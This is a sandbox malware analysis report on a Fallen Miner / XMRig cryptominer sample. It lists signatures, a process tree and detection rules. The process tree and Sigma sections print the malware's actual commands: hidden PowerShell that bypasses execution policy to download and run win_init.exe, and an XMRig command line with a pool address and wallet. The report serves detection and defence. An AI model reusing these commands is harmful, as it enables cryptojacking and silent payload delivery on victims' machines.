Edit tour

Windows Analysis Report
esFK2gm.exe

Overview

General Information

Sample name:	esFK2gm.exe
Analysis ID:	1632653
MD5:	90b1db23bfe95b39d48a5a628c6e2a46
SHA1:	486b88f6f2928a03b26471376f60569ad28cfcd0
SHA256:	770b494198e289dd91a8731dc4538bd36ac37b425f21e2a854cee956dec4452c
Tags:	CoinMinerexeuser-aachum
Infos:

Detection

Fallen Miner, Xmrig

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Xmrig

System process connects to network (likely due to code injection or exploit)

Yara detected Fallen Miner

Yara detected Xmrig cryptocurrency miner

Allocates memory in foreign processes

Bypasses PowerShell execution policy

Changes security center settings (notifications, updates, antivirus, firewall)

Connects to a pastebin service (likely for C&C)

Creates autostart registry keys with suspicious values (likely registry only malware)

Creates multiple autostart registry keys

Detected Stratum mining protocol

Found Tor onion address

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Installs new ROOT certificates

Joe Sandbox ML detected suspicious sample

Modifies the context of a thread in another process (thread injection)

Powershell drops PE file

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Notepad Making Network Connection

Sigma detected: Suspicious Invoke-WebRequest Execution

Suspicious powershell command line found

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Powershell In Registry Run Keys

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

esFK2gm.exe (PID: 6424 cmdline: "C:\Users\user\Desktop\esFK2gm.exe" MD5: 90B1DB23BFE95B39D48A5A628C6E2A46)

notepad.exe (PID: 7076 cmdline: --donate-level 2 -o 45.144.212.77:3333 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=25 MD5: 27F71B12CB585541885A31BE22F61C83)

tasklist.exe (PID: 6948 cmdline: tasklist /FI "PID eq 7076" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 6988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1864 cmdline: tasklist /FI "PID eq 7076" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 7052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3460 cmdline: tasklist /FI "PID eq 7076" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 1732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2256 cmdline: tasklist /FI "PID eq 7076" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 2296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4200 cmdline: tasklist /FI "PID eq 7076" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 5596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1548 cmdline: tasklist /FI "PID eq 7076" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 1552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7092 cmdline: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1820 cmdline: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7028 cmdline: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1328 cmdline: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

win_init.exe (PID: 916 cmdline: "C:\Users\user\AppData\Roaming\win_init.exe" MD5: 90B1DB23BFE95B39D48A5A628C6E2A46)

svchost.exe (PID: 2448 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 6180 cmdline: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7028 cmdline: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 6976 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2732 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 3112 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

cmd.exe (PID: 5840 cmdline: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3776 cmdline: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

win_init.exe (PID: 6092 cmdline: "C:\Users\user\AppData\Roaming\win_init.exe" MD5: 90B1DB23BFE95B39D48A5A628C6E2A46)

sppsvc.exe (PID: 1680 cmdline: C:\Windows\system32\sppsvc.exe MD5: 320823F03672CEB82CC3A169989ABD12)

svchost.exe (PID: 4724 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6940 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 4380 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 4584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://harfanglab.io/insidethelab/unpacking-packxor/ https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
esFK2gm.exe	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x5d91cb:$a1: mining.set_target 0x1e5cfbb:$a1: mining.set_target 0x24d710f:$a1: mining.set_target 0x5d370d:$a2: XMRIG_HOSTNAME 0x1e574b7:$a2: XMRIG_HOSTNAME 0x24d1651:$a2: XMRIG_HOSTNAME 0x5d5953:$a3: Usage: xmrig [OPTIONS] 0x1e59789:$a3: Usage: xmrig [OPTIONS] 0x24d38dd:$a3: Usage: xmrig [OPTIONS] 0x5d36e5:$a4: XMRIG_VERSION 0x1e5748f:$a4: XMRIG_VERSION 0x24d1629:$a4: XMRIG_VERSION

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\win_init.exe	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2135744163.000000C000400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.2135744163.000000C000400000.00000004.00001000.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0xdc70:$a1: mining.set_target 0x8658:$a2: XMRIG_HOSTNAME 0xa740:$a3: Usage: xmrig [OPTIONS] 0x8630:$a4: XMRIG_VERSION
00000000.00000002.2131272483.000000C0002B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001E.00000002.1619147975.000000C00015E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x418470:$a1: mining.set_target 0x412e58:$a2: XMRIG_HOSTNAME 0x414f40:$a3: Usage: xmrig [OPTIONS] 0x412e30:$a4: XMRIG_VERSION
00000021.00000002.1805169349.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000021.00000002.1805169349.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x412470:$a1: mining.set_target 0x40ce58:$a2: XMRIG_HOSTNAME 0x40ef40:$a3: Usage: xmrig [OPTIONS] 0x40ce30:$a4: XMRIG_VERSION
0000001E.00000002.1621539104.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001E.00000002.1621539104.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x378470:$a1: mining.set_target 0x372e58:$a2: XMRIG_HOSTNAME 0x374f40:$a3: Usage: xmrig [OPTIONS] 0x372e30:$a4: XMRIG_VERSION
00000000.00000002.2131272483.000000C00014A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: esFK2gm.exe PID: 6424	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: esFK2gm.exe PID: 6424	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
Process Memory Space: esFK2gm.exe PID: 6424	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x96911:$a1: mining.set_target 0xb69ab:$a1: mining.set_target 0x926e0:$a2: XMRIG_HOSTNAME 0xb277a:$a2: XMRIG_HOSTNAME 0x93a1e:$a3: Usage: xmrig [OPTIONS] 0xb3ab8:$a3: Usage: xmrig [OPTIONS] 0x926c1:$a4: XMRIG_VERSION 0xb275b:$a4: XMRIG_VERSION
Process Memory Space: notepad.exe PID: 7076	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: win_init.exe PID: 916	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: win_init.exe PID: 916	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
Process Memory Space: win_init.exe PID: 916	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x20c6c5:$a1: mining.set_target 0x208494:$a2: XMRIG_HOSTNAME 0x2097d2:$a3: Usage: xmrig [OPTIONS] 0x208475:$a4: XMRIG_VERSION
Process Memory Space: win_init.exe PID: 6092	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: win_init.exe PID: 6092	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
Process Memory Space: win_init.exe PID: 6092	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x12e0ac:$a1: mining.set_target 0x129e7b:$a2: XMRIG_HOSTNAME 0x12b1b9:$a3: Usage: xmrig [OPTIONS] 0x129e5c:$a4: XMRIG_VERSION
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
30.2.win_init.exe.c000160000.4.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.2.win_init.exe.c00015e000.7.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.2.win_init.exe.c00005c400.1.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0.2.esFK2gm.exe.c000a90000.3.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0.2.esFK2gm.exe.c000a90000.3.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x586c70:$a1: mining.set_target 0x581658:$a2: XMRIG_HOSTNAME 0x583740:$a3: Usage: xmrig [OPTIONS] 0x581630:$a4: XMRIG_VERSION
0.2.esFK2gm.exe.c000a90000.3.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x58dce1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
0.2.esFK2gm.exe.c000a90000.3.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x58e1b0:$s1: %s/%s (Windows NT %lu.%lu 0x58f230:$s3: \\.\WinRing0_ 0x585938:$s4: pool_wallet 0x580ea8:$s5: cryptonight 0x580eb8:$s5: cryptonight 0x580ec8:$s5: cryptonight 0x580ed8:$s5: cryptonight 0x580ef0:$s5: cryptonight 0x580f00:$s5: cryptonight 0x580f10:$s5: cryptonight 0x580f28:$s5: cryptonight 0x580f38:$s5: cryptonight 0x580f50:$s5: cryptonight 0x580f68:$s5: cryptonight 0x580f78:$s5: cryptonight 0x580f88:$s5: cryptonight 0x580f98:$s5: cryptonight 0x580fb0:$s5: cryptonight 0x580fc8:$s5: cryptonight 0x580fd8:$s5: cryptonight 0x580fe8:$s5: cryptonight
30.2.win_init.exe.c0009f0000.13.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.2.win_init.exe.c0009f0000.13.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x586c70:$a1: mining.set_target 0x581658:$a2: XMRIG_HOSTNAME 0x583740:$a3: Usage: xmrig [OPTIONS] 0x581630:$a4: XMRIG_VERSION
30.2.win_init.exe.c0009f0000.13.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x58dce1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
30.2.win_init.exe.c0009f0000.13.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x58e1b0:$s1: %s/%s (Windows NT %lu.%lu 0x58f230:$s3: \\.\WinRing0_ 0x585938:$s4: pool_wallet 0x580ea8:$s5: cryptonight 0x580eb8:$s5: cryptonight 0x580ec8:$s5: cryptonight 0x580ed8:$s5: cryptonight 0x580ef0:$s5: cryptonight 0x580f00:$s5: cryptonight 0x580f10:$s5: cryptonight 0x580f28:$s5: cryptonight 0x580f38:$s5: cryptonight 0x580f50:$s5: cryptonight 0x580f68:$s5: cryptonight 0x580f78:$s5: cryptonight 0x580f88:$s5: cryptonight 0x580f98:$s5: cryptonight 0x580fb0:$s5: cryptonight 0x580fc8:$s5: cryptonight 0x580fd8:$s5: cryptonight 0x580fe8:$s5: cryptonight
33.2.win_init.exe.a0000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
30.2.win_init.exe.c00015c000.5.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
33.0.win_init.exe.a0000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
0.0.esFK2gm.exe.990000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
30.0.win_init.exe.a0000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
30.2.win_init.exe.a0000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
0.2.esFK2gm.exe.990000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
30.2.win_init.exe.c00015e000.7.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.2.win_init.exe.c00015a000.2.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.2.win_init.exe.c000160000.4.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
33.2.win_init.exe.c000a8a000.14.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
33.2.win_init.exe.c000a8a000.14.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x586c70:$a1: mining.set_target 0x581658:$a2: XMRIG_HOSTNAME 0x583740:$a3: Usage: xmrig [OPTIONS] 0x581630:$a4: XMRIG_VERSION
33.2.win_init.exe.c000a8a000.14.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x58dce1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
33.2.win_init.exe.c000a8a000.14.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x58e1b0:$s1: %s/%s (Windows NT %lu.%lu 0x58f230:$s3: \\.\WinRing0_ 0x585938:$s4: pool_wallet 0x580ea8:$s5: cryptonight 0x580eb8:$s5: cryptonight 0x580ec8:$s5: cryptonight 0x580ed8:$s5: cryptonight 0x580ef0:$s5: cryptonight 0x580f00:$s5: cryptonight 0x580f10:$s5: cryptonight 0x580f28:$s5: cryptonight 0x580f38:$s5: cryptonight 0x580f50:$s5: cryptonight 0x580f68:$s5: cryptonight 0x580f78:$s5: cryptonight 0x580f88:$s5: cryptonight 0x580f98:$s5: cryptonight 0x580fb0:$s5: cryptonight 0x580fc8:$s5: cryptonight 0x580fd8:$s5: cryptonight 0x580fe8:$s5: cryptonight
Click to see the 20 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: --donate-level 2 -o 45.144.212.77:3333 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=25, CommandLine: --donate-level 2 -o 45.144.212.77:3333 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=25, CommandLine|base64offset|contains: h^Wz, Image: C:\Windows\System32\notepad.exe, NewProcessName: C:\Windows\System32\notepad.exe, OriginalFileName: C:\Windows\System32\notepad.exe, ParentCommandLine: "C:\Users\user\Desktop\esFK2gm.exe", ParentImage: C:\Users\user\Desktop\esFK2gm.exe, ParentProcessId: 6424, ParentProcessName: esFK2gm.exe, ProcessCommandLine: --donate-level 2 -o 45.144.212.77:3333 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=25, ProcessId: 7076, ProcessName: notepad.exe

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 7092, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Notepad Making Network Connection

Source: Network Connection

Author: EagleEye Team: Data: DestinationIp: 45.144.212.77, DestinationIsIpv6: false, DestinationPort: 3333, EventID: 3, Image: C:\Windows\System32\notepad.exe, Initiated: true, ProcessId: 7076, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49691

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7092, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 1820, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7092, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'", ProcessId: 1820, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

